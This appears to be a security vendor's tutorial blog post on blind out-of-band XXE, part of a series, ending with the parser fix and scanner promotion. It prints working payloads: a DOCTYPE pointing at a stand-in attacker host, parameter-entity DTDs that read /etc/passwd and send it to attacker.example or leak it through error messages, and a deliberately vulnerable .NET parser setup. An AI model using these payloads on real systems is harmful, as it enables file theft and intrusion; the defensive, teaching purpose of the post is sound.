XML External EntityBlind / Out-of-Band

Blind XXE: Exfiltrating Files With Out-of-Band Parameter Entities

When a vulnerable XML parser never reflects the parsed document back, XXE still leaks files. Here is how a hosted external DTD chains parameter entities to smuggle file contents out over the network, the error-based fallback when outbound traffic is blocked, and the parser settings that close it.

SelfSec Team5 min read
Part 2 of 4from theXML External Entityseries
http://attacker.example/x?d=%file;
On this page

Classic XXE relies on the parser echoing an expanded entity back in the response — you declare &xxe;, the file lands in the output, you read it. But plenty of endpoints parse XML and return nothing useful: a 204 No Content, a generic 200 OK, a queue acknowledgement. The naive conclusion is that those endpoints are safe. They are not. Blind, out-of-band XXE extracts the same files without ever seeing them in the response, by making the parser itself carry the data to a server the attacker controls.

This post shows how an attacker-hosted external DTD chains XML parameter entities to read a local file and embed its contents into an outbound request, the error-based fallback for when egress is firewalled, and the parser configuration that shuts both down.

How it happens

The vulnerable code looks identical to reflected XXE — a parser left at defaults that resolve DOCTYPE-declared entities and, critically, fetch external parameter entities. Consider a .NET endpoint that ingests an XML webhook and only returns a status code:

var settings = new XmlReaderSettings { DtdProcessing = DtdProcessing.Parse };
using var reader = XmlReader.Create(request.Body, settings);
var doc = new XmlDocument();
doc.Load(reader);

Enqueue(doc);
return Results.NoContent();

The document is parsed and queued; nothing from it is ever written back to the client. Reflected XXE is useless here because there is no output channel. But DtdProcessing.Parse lets the document declare a DOCTYPE, and the parser will follow a SYSTEM reference to fetch an external DTD over the network. That external fetch is the channel.

A concrete attack: two-stage out-of-band exfiltration

Parameter entities (declared with % instead of &) can only appear inside a DTD, but they can be defined in terms of one another — which lets an attacker compose a file read and a network send. The submitted body stays tiny; it just points at a hostile DTD:

<?xml version="1.0"?>
<!DOCTYPE r SYSTEM "http://attacker.example/evil.dtd">
<r/>

The interesting logic lives in evil.dtd on the attacker's server. The first parameter entity reads the target file; the second builds a URL that embeds the file's contents in its path; a third forces that URL to be dereferenced:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY &#x25; send SYSTEM 'http://attacker.example/x?d=%file;'>">
%wrap;
%send;

When the target parses the document, it fetches evil.dtd, resolves %file; to the contents of /etc/passwd, expands %wrap; to define %send; with that data spliced into the query string, then resolves %send; — firing an HTTP request to the attacker. The file never appears in the victim's response; it arrives in the attacker's web log instead:

GET /x?d=root:x:0:0:root:/root:/bin/bash%0adaemon:x:1:1:... HTTP/1.1
Host: attacker.example

The response told the attacker nothing. The parser told the attacker everything — it read the file and then made the outbound request that carried it, all from a four-line DTD hosted somewhere else.

When outbound traffic is blocked: the error-based fallback

Egress filtering breaks the network channel, but not the attack. If the parser cannot reach the attacker, an attacker forces the file contents into a parser error message by referencing them as part of an invalid system path. The hosted DTD becomes:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY &#x25; err SYSTEM 'file:///nonexistent/%file;'>">
%wrap;
%err;

Resolving %err; tries to open a path that contains the file's contents, fails, and many parsers helpfully include the offending path — and therefore the leaked data — verbatim in the exception text the application surfaces:

java.io.FileNotFoundException:
/nonexistent/root:x:0:0:root:/root:/bin/bash (No such file or directory)

Wherever that error is logged, returned in a 500 body, or shown on a debug page, the file contents come with it. The channel moved from the network to the error stream, but the file still escapes.

What an attacker gains

Blind OOB XXE removes the precondition defenders rely on — that they would see the leak:

  • File disclosure without reflection — read /etc/passwd, source, .env files and private keys from endpoints that return only a status code.
  • A working channel behind a firewall — the error-based variant exfiltrates even when all outbound network access is blocked.
  • Internal reconnaissance and SSRF — the same external-DTD mechanism reaches internal-only and cloud-metadata URLs the response would never have shown.

The fix: disallow DOCTYPEs and external entities at the parser

The definitive fix is the same as for reflected XXE, and it neutralises both the OOB and error-based variants because neither can run without DTD and external-entity processing. The application almost never needs DOCTYPEs, so reject them outright. In .NET:

var settings = new XmlReaderSettings
{
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null
};
using var reader = XmlReader.Create(request.Body, settings);
var doc = new XmlDocument { XmlResolver = null };
doc.Load(reader);

With DtdProcessing.Prohibit the document is rejected the moment its DOCTYPE is seen, and a null XmlResolver means no external reference — DTD, parameter entity or otherwise — is ever dereferenced. The same principle applies everywhere:

  • Set disallow-doctype-decl (or your library's secure-processing equivalent) and disable external general and parameter entities — the OOB chain dies on the parameter-entity flag alone.
  • Never echo raw parser exceptions to clients or unstructured logs; the error channel is only useful if the message leaks back.
  • Keep XML libraries patched, since insecure defaults and resolver bypasses shift between versions.

How SelfSec finds it

Blind XXE is invisible to a scanner that only reads the HTTP response, so SelfSec confirms it out of band: it submits payloads whose DOCTYPE points at a local-file resource and at a collaborator that serves the exfiltration DTD, then watches for the parser's own callback carrying the file contents — a confirmed hit, never an inference from a missing reflection. Core scan processing runs locally on 127.0.0.1; the collaborator is whichever out-of-band collector you configure — a local listener, an OAST server you host, or the managed SelfSec service — and each finding ships with the DTD and the request that triggered it so you can replay the exfiltration end to end.

SelfSec is intended strictly for authorized security testing of systems you own or are explicitly permitted to assess.

Do both things about XML External Entity

SelfSec covers this class from both sides — the scanner confirms it in your own app, the firewall blocks it in front of your origin while the fix ships.

The XML External Entity series

  1. 01OverviewXML External Entity (XXE): How a Parser Reads /etc/passwd For You3 min
  2. 02Blind / Out-of-BandBlind XXE: Exfiltrating Files With Out-of-Band Parameter EntitiesReading
  3. 03Denial of ServiceBillion Laughs: Denial of Service Through XML Entity Expansion5 min
  4. 04File-Backed FormatsXXE in File Uploads: SVG, DOCX and Other XML-Backed Formats5 min

Related reading